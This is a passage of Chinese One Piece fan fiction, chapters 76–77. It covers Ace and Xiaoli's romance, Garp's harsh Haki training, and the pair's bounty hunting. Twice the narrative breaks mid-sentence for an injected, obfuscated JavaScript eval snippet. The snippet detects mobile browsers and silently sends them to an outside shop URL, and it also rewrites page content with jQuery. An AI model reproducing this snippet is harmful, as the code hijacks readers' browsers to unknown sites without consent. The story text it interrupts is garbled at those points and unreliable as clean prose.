小狸羞愤交加,感觉再待下去自己就要自燃了。她赶紧上前,连推带搡地把这群看热闹不嫌事大、还在叽叽喳喳讨论“男朋友”、“老公”、“哥哥”可能性的小屁孩往门外赶,“快点回家去!不然我告诉你们妈妈,你们今天不光没写作业,还跑来捣乱!明天加双倍功课!” 在一片“老大恼羞成怒啦!”“老大被说中心事咯!”的欢快起哄和嬉笑声中,小狸终于凭借着残存的“老大”威严和一点点“告家长”的威胁,成功地把这群小恶魔推出了门,然后“砰”地一声关上了门板。 她背靠着微凉的门板,长长地、深深地舒了口气,仿佛刚刚经历了一场激烈的战斗。抬手用手背冰了冰自己滚烫的脸颊,感觉热度丝毫没有消退的迹象,心脏还在咚咚咚地狂跳。 室内恢复了短暂的安静,但某种更加粘稠、更加令人心慌的氛围却悄然弥漫开来。 这时,一直作壁上观、欣赏完全程的艾斯好整以暇地看着已经被逼到墙角、警惕又无措的小动物,嗓音低沉沙哑,带着说不出的诱惑和某种步步紧逼的意味,一字一顿地、清晰地念道: “所以,到底是什么人呢?” 他故意停顿,目光灼灼地锁住她,那双总是燃烧着火焰的黑眸此刻深邃如夜海,里面翻涌着清晰的期待和不容错辨的深情,仿佛在耐心地、却又势在必得地,等待着一个早已心知肚明的答案。 “哥哥!!”小狸几乎是条件反射般地瞪了他一眼,脱口而出。本来只是制止他的话不知为何在这个场景下有点像回答 “只是‘哥哥’的话……”艾斯嘴角的弧度加深,身体微微前倾,带来无形的压迫感,声音压得更低,带着气音和一丝戏谑,“……刚才会不好意思告诉那些小鬼头嘛?而且……”他目光意有所指地扫过她依旧泛红的脖颈和耳尖,“‘哥哥’会这样?” 小狸羞得耳尖又是一颤,感觉那股刚压下去的热气又轰地冲上了头顶。她被他看得无地自容,又被他话里的暗示撩拨得心尖发颤,一股莫名的羞恼和想要阻止他继续说下去的冲动涌上心头。她下意识地上前一步,伸手就想捂住他那张尽说些让她心跳失控的怪话的嘴。 “你闭嘴啦……!” 然而,她的指尖刚碰到他温热柔软的唇瓣,甚至还没来得及用力—— 一个柔软而湿热的舌尖,极快又极轻地、带着明目张胆的挑逗意味,舔舐过她的掌心! “呀——!” 那突如其来的、湿漉漉的、带着绝对亲密和情色暗示的触感,如同一道细微却强劲的电流,从掌心瞬间窜遍全身!小狸惊得浑身一哆嗦,发出一声短促的惊叫,几乎是立刻就要缩回手,仿佛那掌心着了火。 可艾斯的速度比她更快。 在她指尖逃离的前一瞬,他一把抓住了她的手腕,力道温柔却带着不容挣脱的坚定。他顺势低下头,就着这个姿势,将轻吻印在她因为受惊而微微颤抖的指尖上。那吻温热而虔诚,然后,他牵引着她的手,将她微微汗湿的掌心,轻轻贴在了自己同样有些发烫的、棱角分明的脸颊上。 艾斯用那双仿佛燃烧着暗火的深邃眼眸紧紧盯着她,目光炙热得几乎要将她融化、吞噬。他不再说话,只是这样看着她,用眼神、用掌心相贴的温度、用空气中几乎凝滞的暧昧,无声地追问,耐心地等待,却又强势地不容她逃避。 小狸被他看得心慌意乱,几乎无法呼吸。蓝色的猫瞳里氤氲起一层朦胧的水汽,目光都变得迷离而失焦,只能被动地望进他那片深不见底的黑色海洋。只感觉被他握住的手腕,和贴着他脸颊的掌心,像被点燃了一样,滚烫的温度沿着血管一路蔓延,直接烧进了她的心底最柔软、最不设防的地方,将那里搅得天翻地覆。 艾斯看着她这副完全被自己掌控了情绪、迷惘又脆弱的模样,心底最坚硬的地方也变得无比柔软,但某种更深的渴望也被彻底点燃。他嘴角勾起一抹得逞的、带着怜爱和一丝野性的性感笑容,缓缓地、清晰地、用气音吐出了最后的话: “不是哥哥……” 他顿了顿,目光锁住她骤然睁大的、湿润的蓝眸。 “是……爱人么?” 这直白而炽烈、毫无转圜余地的宣告,如同最后一道精准的惊雷彻底击溃了小狸摇摇欲坠的防线和理智。那两个字所代表的重量、亲密、以及随之而来的未知与承诺,如同滔天巨浪,瞬间淹没了她,本能对过于汹涌爱意的畏惧,让她再次选择了最熟悉的路径——退缩。 “!” 怀中骤然一空。 温暖的、带着馨香和细微颤抖的触感瞬间消失,只余下臂弯间微凉的空气,几根柔软的黑色猫毛缓缓飘落在床单上,和空气中尚未散尽的、属于她的清甜气息。 艾斯眨了眨眼,保持着刚才微微前倾、手掌虚握的姿势,怔了一瞬。随即,他抬眼望向那扇被慌慌张张、用力撞开的窗户——窗栓显然没能起到任何阻碍作用——只见那道熟悉的身影已经变成黑色小猫,正以一种近乎慌不择路的姿态,三两下轻盈却仓促地窜上院子里那棵老树的枝桠,头也不回地消失在茂密葱郁的枝叶后,几片被碰掉的叶子打着旋儿缓缓飘落,仿佛在无声地诉说着方才那只小猫有多么“惊慌失措”和“业务繁忙”。 “噗……跑得真快。”艾斯摸了摸自己的鼻尖,指尖似乎还残留着她手腕细腻肌肤的触感,和她发丝掠过时的微痒。他低下头,低低地笑出声来。那笑声不再压抑,从胸腔里震出,带着毫不掩饰的愉悦、宠溺,还有一丝计划得逞后的满足。 他知道,他害羞又勇敢的小猫,在面对这样直白汹涌的爱意时,还需要一点点时间来消化,来适应,来鼓起最后的勇气。没关系,他有的是耐心。反正,无论她跑多远,他总能把她找回来。 阳光透过窗户,照在他带着笑意的脸上,温暖而明亮。他伸了个懒腰,感觉连身上那些早已无碍的伤口,都因为这小小的插曲而变得轻快起来。 “下次……”他望着窗外,喃喃自语,眼中闪过一抹势在必得的狡黠光芒,“可不会让你这么容易就逃掉了。” 76.爱之铁拳 马尔科的电话虫通讯,像是来自新世界的、温暖而强劲的海风,彻底吹散了盘踞在艾斯和小狸心头的最后一丝阴霾。 电话虫惟妙惟肖地模拟出马尔科那标志性的、带着淡淡慵懒却无比可靠的语气:“……情况就是这样,那些被利益冲昏头脑、嗡嗡叫的苍蝇,想动白胡子海贼团,还得先掂量掂量自己的分量。” 背景音里嘈杂而鲜活——白胡子老爹中气十足的洪亮笑声如同闷雷滚过:“咕啦啦啦!艾斯那小子和小狸是在担心老夫吗?告诉他们,老夫还没老到要小辈们提心吊胆的地步!” 紧接着是护士姐姐们惊慌失措的劝阻声:“船长!您不能喝酒!身体吃不消的!马尔科队长!快管管啊!”——混乱中透着无比熟悉的、家的活力。 马尔科似乎无奈地叹了口气,但声音里的笑意却清晰可闻:“好了,你们都听到了。这边好得很,你们俩就安心在东海把伤养得好好的,别总胡思乱想。我们这边……可是在很努力地告诉这片大海,白胡子海贼团,依旧好得很呢!” 挂断电话虫后,房间里安静了几秒。艾斯长长地舒了一口气,那口气悠长而彻底,仿佛连月来压在胸口的巨石终于被挪开。他向后倒在旧地板上,望着天花板,嘴角是全然放松的、如释重负的笑容。小狸则坐在他身边,蔚蓝的眼睛亮晶晶的,一直微微紧绷的肩膀也松懈下来,尾巴尖在地板上轻轻扫动,划出安宁的弧线。家没事,大家都没事,这个认知比任何灵药都要管用。 然而,心头的重担卸下,身体的“特权”也就到了头。早就看穿某人小心思的卡普,第二天一早,就毫不客气地拎着艾斯的后衣领,把他从“伤病员”的舒适区里拽了出来。 “臭小子!别装死了!老夫的眼睛还没瞎!伤好了就赶紧给老子动起来!老夫的孙子要是变成软脚虾,老夫第一个把你沉海里去!” 卡普的吼声震得屋檐都在抖。 于是,风车村后山的宁静被彻底打破。艾斯在卡普口中是“回炉重造”,堪称地狱级别的复健开始了。老爷子的“爱心铁拳”不仅没有“留情”一说,甚至带着明显的、蓄谋已久的“报复”意味——谁让这臭小子之前仗着伤员的身份,在他眼皮子底下可劲儿地装模作样? “痛死了!!!爷爷!你这是谋杀啊!” 艾斯的惨叫和抗议在山林间回荡,伴随着树木被撞断的闷响和尘土飞扬。他被迫着进行各种匪夷所思的体能训练,最可怕的是和卡普的对练——那根本不能称之为对练,纯粹是一面倒的“铁拳教育”。艾斯常常被打得灰头土脸,鼻青脸肿,像颗被踢来踢去的皮球,满山乱窜。 小狸起初还会心疼地揪紧衣角,但很快,她就发现了新奇之处。她骑在那只温顺的小羊背上,慢悠悠地跟在“热闹”的战场后方,看着平日里总是可靠又强大、偶尔耍赖也游刃有余的艾斯,此刻被爷爷追得抱头鼠窜,龇牙咧嘴,大喊大叫,做出各种平日里绝不会有的、极其孩子气的狼狈表情和夸张动作。 阳光透过树叶的缝隙,斑驳地落在他汗湿的、沾着草屑泥土的脸上,那双眼眸里除了痛楚,还有一种……罕见的、近乎放纵的轻松和信赖。只有在绝对安全、绝对亲近的人面前,才会流露出这样毫无防备的、甚至有些笨拙的真实。 小狸托着腮,眼睛弯成了月牙。果然,只有在爷爷身边,艾斯才会露出这样的一面啊。像一只回到老狮子身边、可以暂时收起利爪和警惕、尽情打滚撒欢的年轻雄狮。这种认知让她心里软乎乎的,那点心疼也被一种温暖的、带着趣味的观察所取代。她甚至偶尔会从小羊背上的布袋里摸出两颗野果,一颗自己啃,一颗精准地扔向某个被追得晕头转向的家伙,换来对方一个狼狈却明亮的笑容。 --- 日子在安心与笑闹中潺潺流淌,舒服得让人几乎想就此沉溺。但小狸心底,始终有一根刺,在夜深人静或偶尔走神时,隐隐作痛。 顶上战场那毁天灭地的力量对撞,强者们翻手为云覆手为雨的绝对威能,还有……自己在那股洪流中的渺小与无力。她保护不了艾斯,甚至差点成为拖累。这种认知像冰冷的藤蔓,缠绕着她的心脏。 终于,在一个海风格外清爽的清晨,她鼓足勇气,找到了正在海边岩石上、戴着草帽、看似悠闲垂钓的卡普。她站得笔直,双手紧张地背在身后,指甲掐进了掌心,但眼神却清亮而坚定,迎着卡普转过来的目光,一字一句地说: “爷爷!请教我霸气吧!” 卡普握着鱼竿的手顿了顿,随即挑了挑浓密的白眉,发出洪亮的大笑:“哦?我们的小懒猫终于睡醒了?不想只趴在太阳底下打呼噜,想学点真本事了?” “我才不是懒猫!”小狸瞬间炸毛,耳朵竖起,尾巴也绷直了,但随即声音又低了下去,带着一丝难以掩饰的懊恼和决心,“我只是……不想再那么无力了。至少……下次……不能再只是看着,不能再成为任何人的累赘……” 最后一个词轻得几乎听不见,却沉重如山。 卡普看着她低垂的、毛茸茸的脑袋,眼里掠过一丝了然和赞许。他放下鱼竿,大手重重地揉了揉她的头发,力道大得让她踉跄了一下:“傻丫头,你从来都不是累赘。你救了艾斯,你本身就是我们所有人的珍宝。” 他顿了顿,笑容变得豪迈而危险,“不过,想变强是好事!不愧是我们家的丫头!但是,老夫的修行……可是很严格、很辛苦的。你,真的准备好了吗?” 小狸刚因前半句话而眼眶发热,就被后半句话以及头顶那越来越重、几乎要把她摁进沙子里去的“抚摸”力道,还有老爷子眼中骤然燃起的、如同发现新玩具般的跃跃欲试的精光,吓得打了个明显的寒颤。 现在反悔……还、还来得及吗?这个念头本能地冒了出来。 显然,来不及了。 于是,风车村宁静的沙滩和山林,变成了新的修炼场。小狸的修行之路,在卡普“爱”的指导下正式开启。体能训练是基础中的基础,远超她过去在乔兹师傅教导下进行的任何活动。负重在沙滩上奔跑直到肺叶灼痛,在老爷子随手扔过来的炮弹样的石头下惊险躲避……每一天都累得她像从水里捞出来一样,瘫倒在沙滩上,连尾巴都抬不起来,只能大口喘息,看着夕阳把天空染成绚烂的橘红。 但每当她累得想要放弃时,一扭头,就能看到旁边不远处,某个比她更惨的家伙——艾斯正被卡普以“夯实基础”、“激发潜能”为名,进行着更加惨无人道的“特别关照”。他常常被打趴在地,半天爬不起来,身上新伤叠旧伤,吃晚饭都成了需要拼命才能完成的奢侈任务。艾斯无数次龇牙咧嘴地抱怨,怀疑老爷子是嫌他饭量大,故意想把他练废了好省些粮食。 两小只常常在训练间隙,隔着一段距离,用眼神无声交流,彼此都能从对方灰头土脸、伤痕累累的模样里看到同病相怜的慰藉,以及不服输的劲头。这种“并肩作战”的感觉,奇异地成为了支撑小狸坚持下去的重要动力。艾斯也在努力,他那么强了还在拼命,我怎么能轻易认输? 得知霸王色霸气是天生的资质,无法通过修炼获得时,小狸确实消沉了整整两天。那种立于万人之上、睥睨一切的王者资质,她确实没有。她甚至有些赌气地,对着自己那尚且模糊不清、时灵时不灵的“复制”或者说“愿望”能力许愿——既然能复制其他能力,那能不能“复制”或者“祈愿”出这种资质呢?结果显而易见,恶魔果实也不是那么方便的东西,“资质”这种天生的东西,没有就是没有。 在被卡普敲着脑袋教育“脚踏实地!别总想着一步登天!”和战国温和却犀利地指出“过于追求不可得之物,会忽视你手中已有的利刃。”后,小狸终于收起了那点不切实际的幻想。她将注意力重新集中在可以修炼的见闻色与武装色上。 或许是因为猫科动物天生的感知优势和敏锐直觉,小狸在见闻色霸气的入门上快得令人咋舌。卡普只是点拨了感知“气息”、聆听“声音”的关键,她就像打通了任督二脉,那种将感知扩散出去、捕捉环境中细微动静的能力,流畅得如同呼吸。或者出于对白胡子老爹身体状况的深切担忧,在掌握了对外感知后,摸索出了一丝“内视”的雏形——虽然还很模糊,但已能隐约感知自身生命能量的流动。更让卡普和战国惊讶的是,她竟能将那股独特的治愈力量,与这种初步的“内视”结合,尝试引导那股暖流去舒缓他们常年征战留下的暗伤。几次试验后,两位老人虽未明说,但确实感觉身体松快了些许,然后……教训起小混蛋们来,拳头更有力了。 至于武装色,其实早在莫比迪克号上,面对乔兹师傅那钻石般的坚硬时,她体内就有过微弱的、自发的能量流动去保护自己,只是当时她未曾察觉,也无人点拨。卡普的训练方法简单粗暴至极——挨打。打到你的身体本能地呼唤力量去防御,打到你把那种强化自身的能量运用得像抬手握拳一样自然。 小狸一开始还想耍小聪明,试图用从乔兹师傅那模仿的硬化来“作弊”,减少痛楚。结果被火眼金睛的卡普逮个正着。 “臭丫头!敢在老夫面前偷懒?!” 卡普的拳头带着风声落下,比平时更重三分,专挑她反应不及或者薄弱的地方打。小狸被打得哇哇乱叫,最后索性一屁股坐在地上,捂着并不怎么疼的地方,仰起脸,干打雷不下雨地“大哭”起来,眼睛却偷偷瞟着卡普,企图用这招蒙混过关。 可惜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960351|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,老爷子这次铁了心。他抱着胳膊,板着脸,任凭小狸“哭”得“凄惨”,眼神都不带软一下,反而在她每次偷瞄时,精准地补上一记不轻不重的“提醒”。几次之后,小狸讪讪地收了“神通”,认命地爬起来,揉着真的开始发疼的胳膊,瘪着嘴,更加认真地投入到挨打修炼中去。动力非常现实:为了少疼一点! 当终于有所成果后,小狸的尾巴简直要翘到天上去。她迫不及待地和艾斯分享“成果”,两人趁着卡普和战国下棋的空档,偷偷摸进厨房偷吃,在老爷子发现并怒吼着追出来前,早已溜之大吉。 她还在村里的小鬼头们面前得意洋洋地表演“绝活”——武装色覆盖手掌,一掌劈开硕大的西瓜,瓜瓤鲜红,切口整齐;若不是被艾斯和卡普严厉制止她甚至异想天开地想表演“胸口碎大石”,在小鬼头们一片“老大好厉害!”“老大超人!”的惊叹崇拜目光中,小狸的虚荣心得到了空前满足,走路都带着风。 然后,乐极生悲。 卡普和战国对此的回应是,联手进行了一场深入浅出的、“爱的再教育”。没有用霸气,仅凭千锤百炼的体术和战斗经验,就让刚刚膨胀起来的小猫深刻认识到,什么叫做“天高地厚”。她被“教育”得毫无还手之力,瘫在地上,泪眼汪汪,怀疑人生。 晚上,她是被卡普背回去的。趴在那宽阔坚实的背上,小狸还在抽抽搭搭,委屈又挫败,把眼泪和鼻涕,全都蹭在了卡普的旧背心上。 卡普身体僵了一下,随即,那总是严肃或大笑的脸上,掠过一丝极快、几乎无法捕捉的、近乎柔和的笑意,然后假装什么都不知道,继续稳稳地背着她往家走。当然,该有的“教育”一点不会少,第二天训练照旧。 艾斯也没能逃过“夯实基础”的命运,甚至因为实力更强,□□练得更狠。两小只在卡普那充满“爱意”、却绝对“毫无保留”的铁拳教育下,真正成了难兄难弟,常常在训练结束后互相搀扶,一边抱怨老爷子是魔鬼,一边又忍不住为对方今天的进步或糗事偷笑,在星光下分享偷偷藏起来的一点零食,是那段艰苦岁月里最温暖的慰藉。 --- 达旦终于看不下去了。 当她某次下山来村里换物资,看见自己心疼得不得了的小宝贝身上又添了新伤,虽然精神头很好,但那些青青紫紫的痕迹还是刺痛了山贼老妈子的心。至于旁边那个皮糙肉厚、一看就生命力顽强的臭小子艾斯?哦,达旦的目光自动掠过——死不了就行,男孩子嘛,摔打摔打更结实。 十分自然且心安理得地接受了“艾斯=耐揍=无需过度关心”这个公式后,达旦发挥了她山贼的果断和拐带孩子的熟练技巧,在某个月黑风高(其实只是普通的傍晚)的时机,连哄带骗的把小狸、像是自动寻路一样跟过来的艾斯,甚至连同村里几个跟他们玩得最好、也最调皮捣蛋的小鬼头,一股脑儿“拐”回了科尔波山的山贼之家。 山贼之家的那群家伙,早就从路飞和艾斯小时候的“光辉事迹”中练就了强大的心脏和看热闹不嫌事大的本领。对于新来的、明显被卡普老爷子“折磨”过的小猫和小鬼们,他们给予了“热烈”的欢迎——主要是提供食物、起哄以及围观他们如何“占山为王”。 等卡普发现自家不仅两个小混蛋不见了,连带着他珍藏的仙贝,甜甜圈库存、厨房里新腌的肉、甚至他钓鱼用的那顶旧草帽都一起失踪时,气得差点一拳轰平了风车村的码头。 结局自然是毫无悬念的。 暴怒的海军英雄直接闯上山贼之家,在达旦等人完全不敢阻拦,甚至有点幸灾乐祸的注视下,用他那双“爱之铁拳”,给两个胆大包天、敢带着“小弟”离家出走还卷走他家当的小混蛋,结结实实地上了一堂名为“你爷爷永远是你爷爷”的实践课,让他们深刻体会了什么叫“重新做人”。 小狸和艾斯再次蔫头耷脑地被提溜回去,只是这一次,回去的路上,小狸趴在卡普背上,艾斯揉着肿起的脸颊跟在旁边,夕阳把他们的影子拉得很长。山林寂静,偶尔传来归鸟的啼鸣。 小狸悄悄睁开一只眼,看了看爷爷线条刚硬的侧脸,又看了看旁边虽然龇牙咧嘴却眼神明亮的艾斯,突然觉得,身上那些疼,好像也不是那么难以忍受。 而卡普,感受着背上那轻轻浅浅的、终于变得安稳熟睡的呼吸,脚步,在无人察觉时,放缓了些许。 风车村的灯火,在前方渐次亮起,温暖地等待着归家的人。修行还在继续,日子也还在吵吵闹闹、充满“爱”的拳头中向前流淌。但有些东西,比如羁绊,比如成长,比如家,就在这看似鸡飞狗跳的日常里,悄然扎根,愈发坚韧。 77.幽灵 风车村酒吧的木制房梁上,一道娇小的黑色身影正懒洋洋地趴伏着,与深色的木头几乎融为一体。小狸百无聊赖的轻轻晃动着黑色长尾,慵懒的打了个哈欠。 “玛琪诺姐姐——” 玛琪诺显然被这突如其来的声音吓了一跳,手里的玻璃杯差点滑脱,倒了下手牢牢抓住后循声望去,这才发现房梁上的“不速之客”,脸上随即露出温柔又无奈的笑意:“原来是小狸啊。今天怎么有空来这里?卡普先生给你放假了么?” 只见那条原本悠闲晃动的黑色尾巴猛地一僵,连尾尖的毛都炸开了一小撮。趴在梁上的小猫身体也明显紧绷了,蔚蓝色的眼睛开始心虚地左右游移,就是不敢看玛琪诺含笑的眼睛。她支支吾吾了半天,从喉咙里挤出几个含糊的音节:“呃……那个……修行……嗯……暂时……” 一看她这模样,玛琪诺立刻就明白了。这只偶尔会偷懒耍赖的小猫,八成又是从卡普先生那“爱之铁拳”的修行中开溜了。她了然地笑了笑,没有拆穿,只是朝房梁上招了招手,声音温和:“好了,快下来吧,上面都是灰。要是待会儿卡普先生找来了,我会帮你求情的。” 小狸如蒙大赦,俏皮地吐了吐舌头,那双在昏暗房梁上依旧清亮的蓝眼睛弯了弯。她甚至不需要调整姿势,娇小的身躯如同没有重量般一个翻身便落在地板上,连一丝灰尘都未曾惊起。 她目光扫过玛琪诺脚边几个打开的纸箱,里面露出色彩缤纷的彩灯、亮晶晶的拉花和一些装饰用的绸带。小狸偏了偏头,好奇地问:“玛琪诺姐姐,这些是做什么用的?是什么特别的节日吗?” 玛琪诺有些惊讶地看了她一眼:“小狸不知道吗?马上就到新年了呀。我正打算把酒吧装饰装饰,到时候大家一起来热闹一下。” 她的语气轻快,“啊,对了,小狸也帮我邀请卡普先生和战国先生好不好?他们总是自己待着多寂寞啊,我会准备好茶和甜甜圈的。” 小狸乖巧地点点头,卡普的小屋里确实没有日历这种东西,日子对她和艾斯来说,更多是以日出日落、修行进度和爷爷的拳头来计算的。新年……这个概念对她有些陌生,她看着箱子里那些在阳光下折射出细小光斑的彩灯,忽然想起了什么,眼睛微微一亮。 她犹豫了一下,脚尖无意识地蹭着酒吧粗糙的木地板,脸颊染上绯红。她凑近玛琪诺,踮起脚,两手拢在嘴边,趴在玛琪诺耳边,极小声的嘀咕了几句。 玛琪诺听完,眼睛瞬间亮了起来,她转过头,带着毫不掩饰的揶揄笑意看向小狸,目光在她通红的耳尖和躲闪的眼睛上转了一圈,直看得小狸恨不得把脸埋进箱子里。 “当然可以啦!”玛琪诺笑着,声音里充满了鼓励和善意,“为了小狸的心意,姐姐我可得更加努力才行呢!” 她挽了挽袖子,一副干劲十足的样子,但随即又体贴地问,“不过,小狸,有些东西在村子里可能不太好找。如果你不介意的话,我来帮你准备也可以哦……” “真的嘛!那,谢谢姐姐,至于钱……我会自己想办法的!” 说到“钱”字,她挺了挺胸膛,仿佛在给自己打气,但眼底飞快地掠过一丝对“钱包空空”现实的小小忧愁。 --- 果然,需要很多钱啊…… 告别了玛琪诺,小狸走在回小屋的路上,脑袋里的小算盘打得噼啪响。虽然爷爷时不时会塞给她一些零用钱,但那些钱大多变成了食物或者给村里小孩买的小玩意儿。如今有了想买的东西,她瞬间觉得自己的小布包轻飘飘得让人心慌。 她咬着指尖,努力思索着来钱快又“正当”的途径……思来想去,果然还是和在莫比迪克号上时一样——抓海贼换悬赏金!简单,直接,来钱快,还能顺便活动筋骨,简直一举多得! 打定主意后,她脚步都轻快了不少,开始在脑子里筛选附近海域可能出现的“软柿子”。然而,或许是心思都飞到了海上和贝利上,她回到小屋时有些心不在焉,连门口多了一双熟悉的、擦得锃亮的皮鞋都没注意到。 “咳。” 一声不轻不重的咳嗽从旁边传来。 小狸一个激灵,尾巴“唰”地炸开,僵硬地转过头,正好对上战国元帅那双看似平静、实则洞悉一切的眼睛。他正捧着茶杯,靠在门框上,显然已经等着逮她好一会儿了。 “我……” 小狸张了张嘴,还没想好借口,眼角余光就瞥见院子里,卡普那标志性的、充满“活力”的拳头正追着艾斯满场飞奔,怒吼声震天响。电光火石间,求生本能占据了上风! 只见黑影一闪!小狸如同一枚发射的小炮弹,猛地向前一扑,精准的挂在了战国胸前那梳理得一丝不苟、引以为傲的长胡子! “喵呜——!” 小黑猫四只爪子牢牢扒住那胡子,用那双湿漉漉、蓝汪汪的大眼睛,可怜巴巴、充满祈求地望着战国,喉咙里发出细微的、撒娇般的呜咽。 战国:“……” 他端着茶杯的手僵在半空,看着自己精心打理、象征着智慧与威严的胡子被一只“突然袭击”的小猫当成了猫爬架,眼角不受控制地抽动了一下。听着院子里卡普教育孙子的“热闹”动静,再看看眼前这只试图萌混过关的小家伙,他无奈地叹了口气,用口型无声地警告:“下、不、为、例。” 然而,小狸根本不吃这套。她见战国没有立刻把她拎下来交给卡普,胆子顿时肥了。不仅没松爪,反而在胡子上调整了一下姿势,扒得更牢了,甚至用小脑袋蹭了蹭,一副“我就挂这儿了你能拿我怎么样”的摆烂状态,蓝眼睛里还闪过一丝狡黠。 战国额角的青筋跳了跳。他深吸一口气,放下茶杯,伸出两根手指,精准地捏住了小猫的后颈皮,试图把她“撕”下来。 “呜——!” 小狸四只爪子瞬间收紧,锋利的爪尖牢牢勾住了胡子的纤维。 一场无声的“拔河”开始了。 “松爪。”“不松!” 最终,还是小狸败下阵来,战国心疼自己的胡子,稍微用力一提,伴随着小猫不情愿的“咪呜”声和几根飘落的胡须,终于把小狸从自己宝贵的胡子上“剥离”了下来。看着自己那被弄乱、甚至又被勾掉了几根的胡子,战国心疼得直抽气。 下不为例?下不为例个鬼! “卡普!!管好你家猫!!” 战国难得失态地吼了一嗓子,手臂一扬,精准地把手里还在张牙舞爪、试图抗议的小黑猫朝着院子里那个正在“追杀”孙子的身影扔了过去。 小狸在空中灵活地调整姿态,轻盈落地,还没来得及跑,就被闻声转头、狞笑着逼近的卡普一把捞住。 “臭丫头!还有力气偷跑?!看来今天的训练量还是太轻了!!” 卡普的吼声比刚才更洪亮了。 于是,院子里被追着跑的人从一个变成了两个。 --- 傍晚时分,小狸瘫在屋子外的台阶上,浑身像是散了架,连尾巴都懒得动一下。艾斯同样一身尘土,靠坐在她身后,精神头还算不错。他伸出手臂,很自然地把累瘫的小狸捞过来,圈进自己怀里,让她靠着自己胸膛,下巴则懒洋洋地垫在她还有些汗湿的发顶。 小狸手里拿着几张皱巴巴的悬赏令,正借着最后的日光仔细翻看。 “在干嘛啊,小狸?” 艾斯的声音带着运动后的沙哑和慵懒,温热的气息拂过她的猫耳,“这么专注地看着别的男人的脸……这些歪瓜裂枣的家伙,难道比我好看么?” 语气里带着毫不掩饰的醋意和逗弄。 小狸早就习惯了他时不时冒出来的“怪话”,耳朵抖了抖,懒得理他,继续筛选着目标。她挑出了几张,悬赏金大多在几百万贝利上下。这片靠近东海起点的海域,又是海军英雄的家乡附近,确实没什么大海贼敢来触霉头,活跃的多是些没什么名气、刚出海不久、运气不好或者胆子太肥的新人菜鸟。不过,这对小狸来说足够了。玛琪诺姐姐悄悄告诉她的那个“预算”,这些悬赏金加起来应该绰绰有余。 她想自己赚钱的事,并没有瞒着艾斯和卡普。老爷子一开始听说后,大手一挥就想掏钱包:“缺钱跟爷爷说!想要什么爷爷给你买!” 却被小狸用“想靠自己的努力”这个理由软软地顶了回去。卡普摸着下巴琢磨了一下,觉得她的想法倒也不错。修行了这么久,是时候拉出去实战检验一下了,对付这种级别的对手,完全就是娱乐活动,权当给两个关久了的小家伙放放风,找点乐子。于是,他也兴致勃勃地凑过来,开始对着悬赏令指指点点,挑选起“倒霉蛋”来,那样子不像在选对手,倒像在菜市场挑今晚的下酒菜。 出海“赚钱”的过程,比小狸预想的要稍微复杂那么一点,但复杂的方向完全不对。 根本不是她设想中的“苦战”或者“激烈对决”。当前锋号靠近目标的海贼船时,对方岗哨似乎远远看到了艾斯那头黑发和标志性的牛仔帽,连确认都没确认,整艘船瞬间陷入了巨大的恐慌! “火、火拳艾斯?!!!” “新闻上他不是死了吗?!”“见鬼了!真的是他!快跑!!转向!转向!!” “离开这片海域!快!!!” 一时间鸡飞狗跳,那艘海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16964978|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贼船跑得比兔子还快,船帆鼓得要炸开,在海面上划出仓皇的白线。小狸和艾斯面面相觑,不得不催动小船加速追赶。一场原本预想中的“对决”,硬生生变成了海上追逐赛。 小狸着实费了一番功夫才迫使那艘慌不择路的海贼船停下来。控制住这群吓得魂飞魄散、几乎没什么反抗意志的海贼,反而成了最简单的一步。 联系了附近城镇与白胡子海贼团有长期合作的赏金猎人,将一船瘫软的海贼和对应的悬赏令交接,喧闹的海贼很快变成了叮当作响的温暖贝利。 两人心情愉快地踏上归程,在路过的城镇稍作停留。艾斯已经飞快地把一部分贝利变成了热气腾腾、香气四溢的当地小吃,毫无形象地坐在路边大快朵颐,腮帮子塞得鼓鼓的,脸上洋溢着纯粹的满足。 小狸小口喝着果汁,注意着周围偶尔投来、带着惊疑、恐惧和难以置信的视线。那些目光大多聚焦在艾斯身上,一旦与艾斯疑惑的目光对上,又会像受惊的鸟雀般迅速移开,假装忙碌,但窃窃私语和指指点点的动作却掩饰不住。 艾斯咽下嘴里的食物,困惑地左右看了看,眉头微蹙:“这些人怎么回事?奇奇怪怪的。还有白天那群家伙,为什么一边跑一边喊‘见鬼了’?” 他甚至还抬手摸了摸自己的脸,没有什么奇怪的地方。 小狸咬着吸管,用一种“你是认真的吗”的眼神看着他,蓝眼睛里写满了难以置信:“就是你呀,哥哥。” “哎?我?” 艾斯更困惑了 “毕竟,” 小狸放下果汁,叹了口气“哥哥在新闻里,可是已经被海军在全世界面前公开处刑了啊。‘火拳艾斯已死’这个消息可是大大打击了海贼们的气焰。达旦阿姨不知情的时候,可是为了这个,结结实实揍了卡普爷爷一拳哦。” 她回想起当时鸡飞狗跳的场景,有点想笑。 艾斯困扰地挠了挠他那一头总是翘起几根不服帖发丝的黑发,努力回忆:“可是……我和萨奇他们之后不是还去了一次马林梵多么……” 小狸给了他一个“你这笨蛋”的眼神:“被自己公告里‘已经处决’、‘打得溃败’的海贼团闯入前海军总部这么丢脸的事情,海军怎么可能公之于众啊?当然要死死捂住了!所以,在绝大多数人眼里,火拳艾斯,已经是个死人了” 